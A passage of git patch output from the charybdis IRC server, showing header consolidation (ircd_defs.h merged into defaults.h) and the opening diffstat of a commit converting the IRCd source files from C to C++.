ircd/authproc.c | 1 - ircd/ircd_lexer.l | 2 - ircd/s_serv.c | 1 - modules/m_whowas.c | 1 - 12 files changed, 151 insertions(+), 244 deletions(-) delete mode 100644 include/ircd/ircd_defs.h diff --git a/include/ircd/defaults.h b/include/ircd/defaults.h index d31c78919..ff95af06b 100644 --- a/include/ircd/defaults.h +++ b/include/ircd/defaults.h @@ -22,39 +22,14 @@ * USA */ -#ifndef INCLUDED_defaults_h -#define INCLUDED_defaults_h +#ifndef _IRCD_SYSTEM_H +#define _IRCD_SYSTEM_H /* /!\ DANGER WILL ROBINSON! DANGER! /!\ * * Do not mess with these values unless you know what you are doing! */ -#include "stdinc.h" - -/* Below are the elements for default paths. */ -typedef enum { - IRCD_PATH_PREFIX, - IRCD_PATH_MODULES, - IRCD_PATH_AUTOLOAD_MODULES, - IRCD_PATH_ETC, - IRCD_PATH_LOG, - IRCD_PATH_USERHELP, - IRCD_PATH_OPERHELP, - IRCD_PATH_IRCD_EXEC, - IRCD_PATH_IRCD_CONF, - IRCD_PATH_IRCD_MOTD, - IRCD_PATH_IRCD_LOG, - IRCD_PATH_IRCD_PID, - IRCD_PATH_IRCD_OMOTD, - IRCD_PATH_BANDB, - IRCD_PATH_BIN, - IRCD_PATH_LIBEXEC, - IRCD_PATH_COUNT -} ircd_path_t; - -extern const char *ircd_paths[IRCD_PATH_COUNT]; - /* The below are used as defaults if not found in the configuration file (or on ircd warm-up). * Don't change these - edit the conf file instead. */ @@ -87,35 +62,51 @@ extern const char *ircd_paths[IRCD_PATH_COUNT]; #define MIN_SPAM_NUM 5 #define MIN_SPAM_TIME 60 -/* - * Directory paths and filenames for UNIX systems. - * IRCD_PREFIX is set using ./configure --prefix, see INSTALL. - * Do not change these without corresponding changes in the build system. - * - * IRCD_PREFIX = prefix for all directories, - * DPATH = root directory of installation, - * BINPATH = directory for binary files, - * ETCPATH = directory for configuration files, - * LOGPATH = directory for logfiles, - * MODPATH = directory for modules, - * AUTOMODPATH = directory for autoloaded modules - */ -#define DPATH IRCD_PREFIX -#define BINPATH IRCD_PREFIX "/bin" -#define MODPATH MODULE_DIR -#define AUTOMODPATH MODULE_DIR "/autoload" -#define ETCPATH ETC_DIR -#define LOGPATH LOG_DIR -#define UHPATH HELP_DIR "/users" -#define HPATH HELP_DIR "/opers" -#define SPATH BINPATH "/" PROGRAM_PREFIX "/" BRANDING_NAME /* ircd executable */ -#define CPATH ETCPATH "/ircd.conf" /* ircd.conf file */ -#define MPATH ETCPATH "/ircd.motd" /* MOTD file */ -#define LPATH LOGPATH "/ircd.log" /* ircd logfile */ -#define PPATH PKGRUNDIR "/ircd.pid" /* pid file */ -#define OPATH ETCPATH "/opers.motd" /* oper MOTD file */ -#define DBPATH PKGLOCALSTATEDIR "/ban.db" /* bandb file */ + +#define HOSTLEN 63 /* Length of hostname. Updated to */ + /* comply with RFC1123 */ + +/* Longest hostname we're willing to work with. + * Due to DNSBLs this is more than HOSTLEN. + */ +#define IRCD_RES_HOSTLEN 255 + +#define USERLEN 10 +#define REALLEN 50 +#define CHANNELLEN 200 +#define LOC_CHANNELLEN 50 + +/* reason length of klines, parts, quits etc */ +/* for quit messages, note that a client exit server notice + * :012345678901234567890123456789012345678901234567890123456789123 NOTICE * :*** Notice -- Client exiting: 012345678901234567 (0123456789@012345678901234567890123456789012345678901234567890123456789123) [] [1111:2222:3333:4444:5555:6666:7777:8888] + * takes at most 246 bytes (including CRLF and '\0') and together with the + * quit reason should fit in 512 */ +#define REASONLEN 260 /* kick/part/quit */ +#define BANREASONLEN 390 /* kline/dline */ +#define AWAYLEN TOPICLEN +#define KILLLEN 200 /* with Killed (nick ()) added this should fit in quit */ + +/* 23+1 for \0 */ +#define KEYLEN 24 +#define BUFSIZE 512 /* WARNING: *DONT* CHANGE THIS!!!! */ +#define OPERNICKLEN (NICKLEN*2) /* Length of OPERNICKs. */ + +#define USERHOST_REPLYLEN (NICKLEN+HOSTLEN+USERLEN+5) +#define MAX_DATE_STRING 32 /* maximum string length for a date string */ + +#define HELPLEN 400 + +/* + * message return values + */ +#define CLIENT_EXITED -2 +#define CLIENT_PARSE_ERROR -1 +#define CLIENT_OK 1 + +/* Read buffer size */ +#define READBUF_SIZE 16384 + /* Below are somewhat configurable settings (though it's probably a bad idea * to blindly mess with them). If in any doubt, leave them alone. @@ -153,4 +144,63 @@ extern const char *ircd_paths[IRCD_PATH_COUNT]; # define SOMAXCONN 25 #endif -#endif /* INCLUDED_defaults_h */ + +/* + * Directory paths and filenames for UNIX systems. + * IRCD_PREFIX is set using ./configure --prefix, see INSTALL. + * Do not change these without corresponding changes in the build system. + * + * IRCD_PREFIX = prefix for all directories, + * DPATH = root directory of installation, + * BINPATH = directory for binary files, + * ETCPATH = directory for configuration files, + * LOGPATH = directory for logfiles, + * MODPATH = directory for modules, + * AUTOMODPATH = directory for autoloaded modules + */ + +#define DPATH IRCD_PREFIX +#define BINPATH IRCD_PREFIX "/bin" +#define MODPATH RB_MODULE_DIR +#define MODULE_DIR RB_MODULE_DIR +#define AUTOMODPATH RB_MODULE_DIR "/autoload" +#define ETCPATH RB_ETC_DIR "/charybdis" +#define LOGPATH RB_LOG_DIR +#define UHPATH RB_HELP_DIR "/users" +#define HPATH RB_HELP_DIR "/opers" +#define SPATH RB_BIN_DIR "/" BRANDING_NAME /* ircd executable */ +#define CPATH ETCPATH "/ircd.conf" /* ircd.conf file */ +#define MPATH ETCPATH "/ircd.motd" /* MOTD file */ +#define LPATH LOGPATH "/ircd.log" /* ircd logfile */ +#define PPATH PKGRUNDIR "/ircd.pid" /* pid file */ +#define OPATH ETCPATH "/opers.motd" /* oper MOTD file */ +#define DBPATH PKGLOCALSTATEDIR "/ban.db" /* bandb file */ + + +/* Below are the elements for default paths. */ +typedef enum +{ + IRCD_PATH_PREFIX, + IRCD_PATH_MODULES, + IRCD_PATH_AUTOLOAD_MODULES, + IRCD_PATH_ETC, + IRCD_PATH_LOG, + IRCD_PATH_USERHELP, + IRCD_PATH_OPERHELP, + IRCD_PATH_IRCD_EXEC, + IRCD_PATH_IRCD_CONF, + IRCD_PATH_IRCD_MOTD, + IRCD_PATH_IRCD_LOG, + IRCD_PATH_IRCD_PID, + IRCD_PATH_IRCD_OMOTD, + IRCD_PATH_BANDB, + IRCD_PATH_BIN, + IRCD_PATH_LIBEXEC, + IRCD_PATH_COUNT +} +ircd_path_t; + +extern const char *ircd_paths[IRCD_PATH_COUNT]; + + +#endif // _IRCD_SYSTEM_H diff --git a/include/ircd/ircd_defs.h b/include/ircd/ircd_defs.h deleted file mode 100644 index eb5294081..000000000 --- a/include/ircd/ircd_defs.h +++ /dev/null @@ -1,120 +0,0 @@ -/* - * charybdis: An advanced IRCd. - * ircd_defs.h: A header for ircd global definitions. - * - * Copyright (C) 1990 Jarkko Oikarinen and University of Oulu, Co Center - * Copyright (C) 1996-2002 Hybrid Development Team - * Copyright (C) 2002-2004 ircd-ratbox development team - * Copyright (C) 2005-2006 Charybdis development team - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 - * USA - */ - -/* - * NOTE: NICKLEN and TOPICLEN do not live here anymore. Set it with configure - * Otherwise there are no user servicable part here. - */ - -/* ircd_defs.h - Global size definitions for record entries used - * througout ircd. Please think 3 times before adding anything to this - * file. - */ -#ifndef INCLUDED_ircd_defs_h -#define INCLUDED_ircd_defs_h - -#include "defaults.h" - -/* - * This ensures that __attribute__((deprecated)) is not used in for example - * sun CC, since it's a GNU-specific extension. -nenolod - */ -#ifdef __GNUC__ -#define IRC_DEPRECATED __attribute__((deprecated)) -#else -#define IRC_DEPRECATED -#endif - -#ifndef MAX -#define MAX(a, b) ((a) > (b) ? (a) : (b)) -#endif - -#ifndef MIN -#define MIN(a, b) ((a) < (b) ? (a) : (b)) -#endif - -#define HOSTLEN 63 /* Length of hostname. Updated to */ - /* comply with RFC1123 */ - -/* Longest hostname we're willing to work with. - * Due to DNSBLs this is more than HOSTLEN. - */ -#define IRCD_RES_HOSTLEN 255 - -#define USERLEN 10 -#define REALLEN 50 -#define CHANNELLEN 200 -#define LOC_CHANNELLEN 50 - -/* reason length of klines, parts, quits etc */ -/* for quit messages, note that a client exit server notice - * :012345678901234567890123456789012345678901234567890123456789123 NOTICE * :*** Notice -- Client exiting: 012345678901234567 (0123456789@012345678901234567890123456789012345678901234567890123456789123) [] [1111:2222:3333:4444:5555:6666:7777:8888] - * takes at most 246 bytes (including CRLF and '\0') and together with the - * quit reason should fit in 512 */ -#define REASONLEN 260 /* kick/part/quit */ -#define BANREASONLEN 390 /* kline/dline */ -#define AWAYLEN TOPICLEN -#define KILLLEN 200 /* with Killed (nick ()) added this should fit in quit */ - -/* 23+1 for \0 */ -#define KEYLEN 24 -#define BUFSIZE 512 /* WARNING: *DONT* CHANGE THIS!!!! */ -#define OPERNICKLEN (NICKLEN*2) /* Length of OPERNICKs. */ - -#define USERHOST_REPLYLEN (NICKLEN+HOSTLEN+USERLEN+5) -#define MAX_DATE_STRING 32 /* maximum string length for a date string */ - -#define HELPLEN 400 - -/* - * message return values - */ -#define CLIENT_EXITED -2 -#define CLIENT_PARSE_ERROR -1 -#define CLIENT_OK 1 - -#ifdef RB_IPV6 -#ifndef AF_INET6 -#error "AF_INET6 not defined" -#endif - - -#else /* #ifdef RB_IPV6 */ - -#ifndef AF_INET6 -#define AF_INET6 AF_MAX /* Dummy AF_INET6 declaration */ -#endif -#endif /* #ifdef RB_IPV6 */ - -#ifdef RB_IPV6 -#define PATRICIA_BITS 128 -#else -#define PATRICIA_BITS 32 -#endif - -/* Read buffer size */ -#define READBUF_SIZE 16384 - -#endif /* INCLUDED_ircd_defs_h */ diff --git a/include/ircd/logger.h b/include/ircd/logger.h index 6a0f7dc07..f537ecc37 100644 --- a/include/ircd/logger.h +++ b/include/ircd/logger.h @@ -32,7 +32,7 @@ #ifndef INCLUDED_s_log_h #define INCLUDED_s_log_h -#include "ircd_defs.h" +#include "defaults.h" typedef enum ilogfile { diff --git a/include/ircd/s_conf.h b/include/ircd/s_conf.h index ce0f62802..18df76910 100644 --- a/include/ircd/s_conf.h +++ b/include/ircd/s_conf.h @@ -30,7 +30,6 @@ #include #endif -#include "ircd_defs.h" #include "class.h" #include "client.h" diff --git a/include/ircd/send.h b/include/ircd/send.h index a4b9aa74f..7ffd35d28 100644 --- a/include/ircd/send.h +++ b/include/ircd/send.h @@ -26,7 +26,6 @@ #define INCLUDED_send_h #include -#include "ircd_defs.h" struct Client; struct Channel; diff --git a/include/ircd/stdinc.h b/include/ircd/stdinc.h index 1f7b6294d..c06ffbd3b 100644 --- a/include/ircd/stdinc.h +++ b/include/ircd/stdinc.h @@ -22,7 +22,7 @@ */ #include -#include "ircd_defs.h" /* Needed for some reasons here -- dwr */ +#include "defaults.h" /* Needed for some reasons here -- dwr */ /* AIX requires this to be the first thing in the file. */ #ifdef __GNUC__ @@ -47,69 +47,11 @@ char *alloca (); # endif #endif - -#ifdef HAVE_STDLIB_H -#include -#endif -#ifdef STRING_WITH_STRINGS -# include -# include -#else -# ifdef HAVE_STRING_H -# include -# else -# ifdef HAVE_STRINGS_H -# include -# endif -# endif -#endif - - -#ifdef HAVE_STDDEF_H -#include -#endif - - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#ifdef HAVE_UNISTD_H -#include -#endif - -#include -#include -#include -#ifdef HAVE_SYS_RESOURCE_H -#include -#endif - - -#include - -#ifdef HAVE_SYS_PARAM_H -#include -#endif - #ifdef HAVE_ERRNO_H -#include #else extern int errno; #endif -#ifdef HAVE_SYS_UIO_H -#include -#endif - #if defined(__INTEL_COMPILER) || defined(__GNUC__) # ifdef __unused # undef __unused diff --git a/include/ircd/tgchange.h b/include/ircd/tgchange.h index 7e9bd052c..0cca04dd3 100644 --- a/include/ircd/tgchange.h +++ b/include/ircd/tgchange.h @@ -24,7 +24,7 @@ #ifndef INCLUDED_tgchange_h #define INCLUDED_tgchange_h -#include "ircd_defs.h" +#include "defaults.h" #include "client.h" #include "channel.h" diff --git a/include/rb/system.h b/include/rb/system.h index c83d6f0ef..ba78fae3b 100644 --- a/include/rb/system.h +++ b/include/rb/system.h @@ -48,6 +48,17 @@ char *alloca(); #ifdef __GNUC__ +/* + * This ensures that __attribute__((deprecated)) is not used in for example + * sun CC, since it's a GNU-specific extension. -nenolod + */ +#ifdef __GNUC__ +#define IRC_DEPRECATED __attribute__((deprecated)) +#else +#define IRC_DEPRECATED +#endif + + #ifdef rb_likely #undef rb_likely #endif @@ -62,6 +73,9 @@ char *alloca(); #define rb_likely(x) __builtin_expect(!!(x), 1) #define rb_unlikely(x) __builtin_expect(!!(x), 0) +#define likely(x) __builtin_expect(!!(x), 1) +#define unlikely(x) __builtin_expect(!!(x), 0) + #else /* !__GNUC__ */ #define UNUSED(x) x @@ -270,4 +284,32 @@ while(0) #define RB_UIO_MAXIOV 16 #endif +#ifndef MAX +#define MAX(a, b) ((a) > (b) ? (a) : (b)) +#endif + +#ifndef MIN +#define MIN(a, b) ((a) < (b) ? (a) : (b)) +#endif + +#ifdef RB_IPV6 +#ifndef AF_INET6 +#error "AF_INET6 not defined" +#endif + + +#else /* #ifdef RB_IPV6 */ + +#ifndef AF_INET6 +#define AF_INET6 AF_MAX /* Dummy AF_INET6 declaration */ +#endif +#endif /* #ifdef RB_IPV6 */ + +#ifdef RB_IPV6 +#define PATRICIA_BITS 128 +#else +#define PATRICIA_BITS 32 +#endif + + #endif // _RB_SYSTEM_H diff --git a/ircd/authproc.c b/ircd/authproc.c index d06823907..be65c103f 100644 --- a/ircd/authproc.c +++ b/ircd/authproc.c @@ -24,7 +24,6 @@ #include #include -#include #include #include #include diff --git a/ircd/ircd_lexer.l b/ircd/ircd_lexer.l index b2401a476..682d341aa 100644 --- a/ircd/ircd_lexer.l +++ b/ircd/ircd_lexer.l @@ -32,8 +32,6 @@ #define WE_ARE_MEMORY_C #include -#include -#include #include #include #include diff --git a/ircd/s_serv.c b/ircd/s_serv.c index e84a159b3..132ad581a 100644 --- a/ircd/s_serv.c +++ b/ircd/s_serv.c @@ -35,7 +35,6 @@ #include #include #include -#include #include #include #include diff --git a/modules/m_whowas.c b/modules/m_whowas.c index c42788463..ce04e1c49 100644 --- a/modules/m_whowas.c +++ b/modules/m_whowas.c @@ -28,7 +28,6 @@ #include #include #include -#include #include #include #include From 834964c65934f861f992ab77bed0ea57ddf2efe3 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Tue, 12 Jul 2016 22:17:21 -0700 Subject: [PATCH 08/23] Convert IRCd to C++ Happy 28th birthday. You're all grown up. --- .gitignore | 1 + .gitmodules | 3 + Makefile.am | 33 +- authd/Makefile.am | 34 ++- authd/{authd.c => authd.cc} | 41 ++- authd/authd.h | 6 +- authd/{dns.c => dns.cc} | 17 +- authd/{getaddrinfo.c => getaddrinfo.cc} | 0 authd/{getnameinfo.c => getnameinfo.cc} | 0 authd/{notice.c => notice.cc} | 0 authd/{provider.c => provider.cc} | 24 +- authd/provider.h | 2 +- authd/providers/{blacklist.c => blacklist.cc} | 60 ++-- authd/providers/{ident.c => ident.cc} | 42 +-- authd/providers/{opm.c => opm.cc} | 92 +++--- authd/providers/{rdns.c => rdns.cc} | 38 +-- authd/{res.c => res.cc} | 6 +- authd/{reslib.c => reslib.cc} | 12 +- authd/reslib.h | 2 +- authd/{reslist.c => reslist.cc} | 6 +- bandb/Makefile.am | 18 +- bandb/{bandb.c => bandb.cc} | 2 +- bandb/{bantool.c => bantool.cc} | 12 +- bandb/rsdb.h | 7 + boost | 1 + charybdis/Makefile.am | 15 +- charybdis/charybdis.cc | 3 +- configure.ac | 284 +++++++++++------- extensions/Makefile.am | 76 ++++- .../{chm_adminonly.c => chm_adminonly.cc} | 0 .../{chm_insecure.c => chm_insecure.cc} | 0 .../{chm_nonotice.c => chm_nonotice.cc} | 0 .../{chm_operonly.c => chm_operonly.cc} | 0 ...eronly_compat.c => chm_operonly_compat.cc} | 4 +- .../{chm_operpeace.c => chm_operpeace.cc} | 0 ...nreg_compat.c => chm_quietunreg_compat.cc} | 2 +- .../{chm_spamfilter.c => chm_spamfilter.cc} | 2 +- extensions/{chm_sslonly.c => chm_sslonly.cc} | 0 ...sslonly_compat.c => chm_sslonly_compat.cc} | 4 +- .../{createauthonly.c => createauthonly.cc} | 0 .../{createoperonly.c => createoperonly.cc} | 0 .../{example_module.c => example_module.cc} | 0 .../{extb_account.c => extb_account.cc} | 0 .../{extb_canjoin.c => extb_canjoin.cc} | 0 .../{extb_channel.c => extb_channel.cc} | 0 extensions/{extb_combi.c => extb_combi.cc} | 0 .../{extb_extgecos.c => extb_extgecos.cc} | 0 .../{extb_hostmask.c => extb_hostmask.cc} | 0 extensions/{extb_oper.c => extb_oper.cc} | 0 .../{extb_realname.c => extb_realname.cc} | 0 extensions/{extb_server.c => extb_server.cc} | 0 extensions/{extb_ssl.c => extb_ssl.cc} | 0 .../{extb_usermode.c => extb_usermode.cc} | 0 ...force_user_invis.c => force_user_invis.cc} | 0 extensions/{helpops.c => helpops.cc} | 2 +- ...n_channels.c => hide_uncommon_channels.cc} | 0 extensions/{hurt.c => hurt.cc} | 14 +- extensions/{ip_cloaking.c => ip_cloaking.cc} | 4 +- .../{ip_cloaking_3.0.c => ip_cloaking_3.0.cc} | 4 +- .../{ip_cloaking_4.0.c => ip_cloaking_4.0.cc} | 4 +- .../{ip_cloaking_old.c => ip_cloaking_old.cc} | 4 +- extensions/{m_adminwall.c => m_adminwall.cc} | 0 extensions/{m_echotags.c => m_echotags.cc} | 0 .../{m_extendchans.c => m_extendchans.cc} | 0 .../{m_findforwards.c => m_findforwards.cc} | 2 +- extensions/{m_identify.c => m_identify.cc} | 0 extensions/{m_locops.c => m_locops.cc} | 0 extensions/{m_mkpasswd.c => m_mkpasswd.cc} | 2 +- extensions/{m_ojoin.c => m_ojoin.cc} | 0 extensions/{m_okick.c => m_okick.cc} | 4 +- extensions/{m_omode.c => m_omode.cc} | 0 extensions/{m_opme.c => m_opme.cc} | 2 +- extensions/{m_remove.c => m_remove.cc} | 4 +- extensions/{m_roleplay.c => m_roleplay.cc} | 0 extensions/{m_sendbans.c => m_sendbans.cc} | 10 +- extensions/{m_webirc.c => m_webirc.cc} | 0 ...no_kill_services.c => no_kill_services.cc} | 0 extensions/{no_locops.c => no_locops.cc} | 0 .../{no_oper_invis.c => no_oper_invis.cc} | 0 extensions/{override.c => override.cc} | 10 +- ...nticated.c => restrict-unauthenticated.cc} | 0 ...o_channelcreate.c => sno_channelcreate.cc} | 0 .../{sno_farconnect.c => sno_farconnect.cc} | 0 .../{sno_globalkline.c => sno_globalkline.cc} | 0 ...alnickchange.c => sno_globalnickchange.cc} | 4 +- .../{sno_globaloper.c => sno_globaloper.cc} | 0 extensions/{sno_whois.c => sno_whois.cc} | 0 .../{spamfilter_expr.c => spamfilter_expr.cc} | 51 ++-- ...spamfilter_nicks.c => spamfilter_nicks.cc} | 6 +- ...spy_admin_notice.c => spy_admin_notice.cc} | 0 .../{spy_info_notice.c => spy_info_notice.cc} | 0 ...spy_links_notice.c => spy_links_notice.cc} | 2 +- .../{spy_motd_notice.c => spy_motd_notice.cc} | 0 ...spy_stats_notice.c => spy_stats_notice.cc} | 2 +- ...stats_p_notice.c => spy_stats_p_notice.cc} | 0 ...spy_trace_notice.c => spy_trace_notice.cc} | 0 .../{umode_noctcp.c => umode_noctcp.cc} | 0 include/ircd/bandbi.h | 1 + include/ircd/cache.h | 2 +- include/ircd/defaults.h | 1 - include/ircd/hostmask.h | 2 +- include/ircd/ircd.h | 6 +- include/ircd/logger.h | 6 +- include/ircd/m_info.h | 1 - include/ircd/reject.h | 2 - include/ircd/sslproc.h | 1 - include/ircd/stdinc.h | 4 +- include/ircd/wsproc.h | 1 - include/rb/Makefile.am | 17 ++ include/rb/arc4random.h | 10 + include/rb/balloc.h | 6 + include/rb/commio.h | 7 +- include/rb/commio_int.h | 8 +- include/rb/dictionary.h | 22 +- include/rb/dlink.h | 11 +- include/rb/event.h | 10 +- include/rb/event_int.h | 6 + include/rb/helper.h | 11 +- include/rb/linebuf.h | 11 +- include/rb/memory.h | 12 +- include/rb/patricia.h | 7 + include/rb/radixtree.h | 6 + include/rb/rawbuf.h | 12 +- include/rb/rb.h | 19 +- include/rb/requires.h | 83 +++++ include/rb/ssl.h | 6 + include/rb/system.h | 14 +- include/rb/tools.h | 10 +- ircd/Makefile.am | 114 +++---- ircd/{authproc.c => authproc.cc} | 52 ++-- ircd/{bandbi.c => bandbi.cc} | 4 +- ircd/{cache.c => cache.cc} | 27 +- ircd/{capability.c => capability.cc} | 36 ++- ircd/{channel.c => channel.cc} | 32 +- ircd/{chmode.c => chmode.cc} | 81 ++--- ircd/{class.c => class.cc} | 8 +- ircd/{client.c => client.cc} | 51 ++-- ircd/{dns.c => dns.cc} | 18 +- ircd/{extban.c => extban.cc} | 0 ircd/{getopt.c => getopt.cc} | 18 +- ircd/{hash.c => hash.cc} | 28 +- ircd/{hook.c => hook.cc} | 10 +- ircd/{hostmask.c => hostmask.cc} | 2 +- ircd/{ircd.c => ircd.cc} | 25 +- ircd/{ircd_signal.c => ircd_signal.cc} | 0 ircd/{listener.c => listener.cc} | 2 +- ircd/{logger.c => logger.cc} | 0 ircd/{match.c => match.cc} | 0 ircd/{modules.c => modules.cc} | 31 +- ircd/{monitor.c => monitor.cc} | 6 +- ircd/{msgbuf.c => msgbuf.cc} | 0 ircd/{newconf.c => newconf.cc} | 146 ++++----- ircd/{operhash.c => operhash.cc} | 6 +- ircd/{packet.c => packet.cc} | 6 +- ircd/{parse.c => parse.cc} | 6 +- ircd/{privilege.c => privilege.cc} | 8 +- ircd/{ratelimit.c => ratelimit.cc} | 0 ircd/{reject.c => reject.cc} | 44 +-- ircd/{restart.c => restart.cc} | 4 +- ircd/{s_conf.c => s_conf.cc} | 32 +- ircd/{s_newconf.c => s_newconf.cc} | 59 ++-- ircd/{s_serv.c => s_serv.cc} | 38 +-- ircd/{s_user.c => s_user.cc} | 6 +- ircd/{scache.c => scache.cc} | 17 +- ircd/{send.c => send.cc} | 42 +-- ircd/{snomask.c => snomask.cc} | 0 ircd/{sslproc.c => sslproc.cc} | 52 ++-- ircd/{substitution.c => substitution.cc} | 2 +- ircd/{supported.c => supported.cc} | 10 +- ircd/{tgchange.c => tgchange.cc} | 2 +- ircd/{version.c => version.cc} | 1 + ircd/{whowas.c => whowas.cc} | 16 +- ircd/{wsproc.c => wsproc.cc} | 32 +- modules/Makefile.am | 96 +++++- .../{cap_account_tag.c => cap_account_tag.cc} | 2 +- .../{cap_server_time.c => cap_server_time.cc} | 2 +- modules/{chm_nocolour.c => chm_nocolour.cc} | 0 modules/{chm_noctcp.c => chm_noctcp.cc} | 0 modules/core/{m_ban.c => m_ban.cc} | 4 +- modules/core/{m_die.c => m_die.cc} | 0 modules/core/{m_error.c => m_error.cc} | 0 modules/core/{m_join.c => m_join.cc} | 16 +- modules/core/{m_kick.c => m_kick.cc} | 4 +- modules/core/{m_kill.c => m_kill.cc} | 2 +- modules/core/{m_message.c => m_message.cc} | 14 +- modules/core/{m_mode.c => m_mode.cc} | 2 +- modules/core/{m_modules.c => m_modules.cc} | 4 +- modules/core/{m_nick.c => m_nick.cc} | 6 +- modules/core/{m_part.c => m_part.cc} | 0 modules/core/{m_quit.c => m_quit.cc} | 0 modules/core/{m_server.c => m_server.cc} | 4 +- modules/core/{m_squit.c => m_squit.cc} | 2 +- modules/{m_accept.c => m_accept.cc} | 2 +- modules/{m_admin.c => m_admin.cc} | 0 modules/{m_alias.c => m_alias.cc} | 11 +- modules/{m_away.c => m_away.cc} | 0 modules/{m_cap.c => m_cap.cc} | 11 +- modules/{m_capab.c => m_capab.cc} | 0 modules/{m_certfp.c => m_certfp.cc} | 0 modules/{m_challenge.c => m_challenge.cc} | 4 +- modules/{m_chghost.c => m_chghost.cc} | 0 modules/{m_close.c => m_close.cc} | 2 +- modules/{m_connect.c => m_connect.cc} | 0 modules/{m_dline.c => m_dline.cc} | 0 modules/{m_encap.c => m_encap.cc} | 0 modules/{m_etrace.c => m_etrace.cc} | 8 +- modules/{m_grant.c => m_grant.cc} | 0 modules/{m_help.c => m_help.cc} | 6 +- modules/{m_info.c => m_info.cc} | 0 modules/{m_invite.c => m_invite.cc} | 2 +- modules/{m_ison.c => m_ison.cc} | 0 modules/{m_kline.c => m_kline.cc} | 2 +- modules/{m_knock.c => m_knock.cc} | 0 modules/{m_links.c => m_links.cc} | 2 +- modules/{m_list.c => m_list.cc} | 9 +- modules/{m_lusers.c => m_lusers.cc} | 0 modules/{m_map.c => m_map.cc} | 4 +- modules/{m_monitor.c => m_monitor.cc} | 4 +- modules/{m_motd.c => m_motd.cc} | 0 modules/{m_names.c => m_names.cc} | 6 +- modules/{m_oper.c => m_oper.cc} | 0 modules/{m_operspy.c => m_operspy.cc} | 0 modules/{m_pass.c => m_pass.cc} | 0 modules/{m_ping.c => m_ping.cc} | 0 modules/{m_pong.c => m_pong.cc} | 0 modules/{m_post.c => m_post.cc} | 0 modules/{m_privs.c => m_privs.cc} | 0 modules/{m_rehash.c => m_rehash.cc} | 14 +- modules/{m_restart.c => m_restart.cc} | 4 +- modules/{m_resv.c => m_resv.cc} | 4 +- modules/{m_sasl.c => m_sasl.cc} | 0 modules/{m_scan.c => m_scan.cc} | 2 +- modules/{m_services.c => m_services.cc} | 6 +- modules/{m_set.c => m_set.cc} | 0 modules/{m_signon.c => m_signon.cc} | 0 modules/{m_snote.c => m_snote.cc} | 0 modules/{m_starttls.c => m_starttls.cc} | 0 modules/{m_stats.c => m_stats.cc} | 201 ++++++++----- modules/{m_svinfo.c => m_svinfo.cc} | 0 modules/{m_tb.c => m_tb.cc} | 0 modules/{m_testline.c => m_testline.cc} | 0 modules/{m_testmask.c => m_testmask.cc} | 2 +- modules/{m_tginfo.c => m_tginfo.cc} | 0 modules/{m_time.c => m_time.cc} | 0 modules/{m_topic.c => m_topic.cc} | 2 +- modules/{m_trace.c => m_trace.cc} | 16 +- modules/{m_unreject.c => m_unreject.cc} | 0 modules/{m_user.c => m_user.cc} | 2 +- modules/{m_userhost.c => m_userhost.cc} | 0 modules/{m_users.c => m_users.cc} | 0 modules/{m_version.c => m_version.cc} | 0 modules/{m_wallops.c => m_wallops.cc} | 0 modules/{m_who.c => m_who.cc} | 14 +- modules/{m_whois.c => m_whois.cc} | 2 +- modules/{m_whowas.c => m_whowas.cc} | 4 +- modules/{m_xline.c => m_xline.cc} | 4 +- modules/{sno_routing.c => sno_routing.cc} | 2 +- rb/Makefile.am | 23 +- rb/{rb.c => rb.cc} | 39 +-- rb/rb_memory.c | 40 --- rb/terminate.cc | 38 +++ ssld/Makefile.am | 13 +- ssld/{ssld.c => ssld.cc} | 50 +-- tools/Makefile.am | 19 +- tools/{mkfingerprint.c => mkfingerprint.cc} | 1 + tools/{mkpasswd.c => mkpasswd.cc} | 3 +- wsockd/Makefile.am | 12 +- wsockd/{wsockd.c => wsockd.cc} | 46 +-- 268 files changed, 1865 insertions(+), 1298 deletions(-) create mode 100644 .gitmodules rename authd/{authd.c => authd.cc} (85%) rename authd/{dns.c => dns.cc} (93%) rename authd/{getaddrinfo.c => getaddrinfo.cc} (100%) rename authd/{getnameinfo.c => getnameinfo.cc} (100%) rename authd/{notice.c => notice.cc} (100%) rename authd/{provider.c => provider.cc} (93%) rename authd/providers/{blacklist.c => blacklist.cc} (90%) rename authd/providers/{ident.c => ident.cc} (90%) rename authd/providers/{opm.c => opm.cc} (90%) rename authd/providers/{rdns.c => rdns.cc} (83%) rename authd/{res.c => res.cc} (99%) rename authd/{reslib.c => reslib.cc} (98%) rename authd/{reslist.c => reslist.cc} (98%) rename bandb/{bandb.c => bandb.cc} (99%) rename bandb/{bantool.c => bantool.cc} (98%) create mode 160000 boost rename extensions/{chm_adminonly.c => chm_adminonly.cc} (100%) rename extensions/{chm_insecure.c => chm_insecure.cc} (100%) rename extensions/{chm_nonotice.c => chm_nonotice.cc} (100%) rename extensions/{chm_operonly.c => chm_operonly.cc} (100%) rename extensions/{chm_operonly_compat.c => chm_operonly_compat.cc} (93%) rename extensions/{chm_operpeace.c => chm_operpeace.cc} (100%) rename extensions/{chm_quietunreg_compat.c => chm_quietunreg_compat.cc} (96%) rename extensions/{chm_spamfilter.c => chm_spamfilter.cc} (98%) rename extensions/{chm_sslonly.c => chm_sslonly.cc} (100%) rename extensions/{chm_sslonly_compat.c => chm_sslonly_compat.cc} (93%) rename extensions/{createauthonly.c => createauthonly.cc} (100%) rename extensions/{createoperonly.c => createoperonly.cc} (100%) rename extensions/{example_module.c => example_module.cc} (100%) rename extensions/{extb_account.c => extb_account.cc} (100%) rename extensions/{extb_canjoin.c => extb_canjoin.cc} (100%) rename extensions/{extb_channel.c => extb_channel.cc} (100%) rename extensions/{extb_combi.c => extb_combi.cc} (100%) rename extensions/{extb_extgecos.c => extb_extgecos.cc} (100%) rename extensions/{extb_hostmask.c => extb_hostmask.cc} (100%) rename extensions/{extb_oper.c => extb_oper.cc} (100%) rename extensions/{extb_realname.c => extb_realname.cc} (100%) rename extensions/{extb_server.c => extb_server.cc} (100%) rename extensions/{extb_ssl.c => extb_ssl.cc} (100%) rename extensions/{extb_usermode.c 